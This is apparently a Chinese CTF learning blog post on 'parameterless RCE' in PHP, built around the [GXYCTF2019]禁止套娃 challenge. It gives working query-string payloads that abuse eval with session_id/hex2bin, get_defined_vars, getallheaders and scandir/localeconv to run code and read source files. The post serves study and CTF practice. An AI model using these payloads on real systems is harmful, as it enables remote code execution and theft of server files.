无题
无参RCE
0x00前言
刷buu的时候遇到一道题,[GXYCTF2019]禁止套娃,涉及到无参数RCE,但是我不会,记录一下学习过程。
实例
1 | if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { |
解析
1 | preg_replace 的主要功能就是限制我们传输进来的必须是纯小写字母的函数,而且不能携带参数。 |
说白了就是传入的参数不能含有参数
1 | scandir('a()')//可以使用,里面没有参数 |
所谓无参数RCE
说白了就是使用一个个的函数来达到我们的目的。
例如print_r(array_reverse(scandir(current(localeconv()))))
接下来就说说由哪些方法能完成RCE
测试代码
1 | <?php |
0x01关于无参数RCE的一些方法
方法一 利用session_id
利用http headers
传参,然而http
中有那么多的内容,最容易想到的估计就是cookies
传递参数。
在php中有一个函数session_id
可以用来获取/设置当前会话ID,并且这个值是我们可控的。但是它的使用有些限制: 文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号 ,但是这并不影响我们操作。我们可以使用十六进制传入,之后使用hex2bin()
函数转换即可。但是使用session_id
的时候必须要开启session
才可以,需要session_start
构造payload
1 | ?code=eval(hex2bin(session_id(session_start()))); |
方法二 利用get_defined_vars ()函数
1 | get_defined_vars():返回由所有已定义变量所组成的数组 |
我们通过get
或者post
方法,传入的参数,以及它的值可以被get_defined_vars()
读出来。而且它返回的还是数组,那么我们可以通过php中的一系列对数组操作的函数来得到我们想要的值
1 | end() - 将内部指针指向数组中的最后一个元素,并输出。 |
构造payload
1 | ?code=print_r(current(get_defined_vars()));&b=phpinfo(); |
查看最后一个数组,且eval
1 | ?code=eval(end(current(get_defined_vars())));&b=phpinfo(); |
方法三 利用getallheaders()
1 | getallheaders返回当前请求的所有请求头信息 |
尝试写入phpinfo()
之后就可用数组操作的函数拿出phpinfo()且执行。
构造payload
1 | ?code=eval(next(getallheaders())); |
方法四 getenv()
getenv() :获取环境变量的值(在PHP7.1之后可以不给予参数)
看简介就明白,它并不适用于PHP<7.1的版本,我的版本不合适,报了400错误,往里面传参也不行。
没有成功,好在这种方法使用限制比较多,使用也相对比较少。
方法五 scandir()
这种方法是使用比较多的,相对而言比较多变,各个函数相辅相成。
1 | scandir() //函数返回指定目录中的文件和目录的数组。 |
示例
1 | print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件 |
由此可以看出各个函数相互利用,组合方法有很多
实例
知识不经过组合利用就不会起作用
[GXYCTF2019]禁止套娃
dirsearch扫目录得/.git
利用githack得源码
1 | <?php |
查看代码,很明显的无参数RCE
其中(?R)
引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数
scandir('.')
返回当前目录,但是如何构造.
函数localeconv()
返回一包含本地数字及货币格式信息的数组。 但是其数组第一项就是.
, current()/pos()
返回数组中的当前单元, 默认取第一个值。
构造payload
1 | ?exp=print_r(scandir(pos(localeconv()))); |
利用对数组操作的函数读取flag
利用array_reverse()
将数组内容反转一下 , 利用next()
指向第二个元素,也就是flag.php
1 | ?exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); |
0x02 后记
在没学习之前觉得这个知识点可能会很难,现在倒也觉得没有我想的那么难。有些东西做了才知道深浅。继续加油吧。
参考
https://blog.csdn.net/qq_38154820/article/details/107171940
https://blog.csdn.net/qq_45570082/article/details/106602261
https://xz.aliyun.com/t/9360#toc-6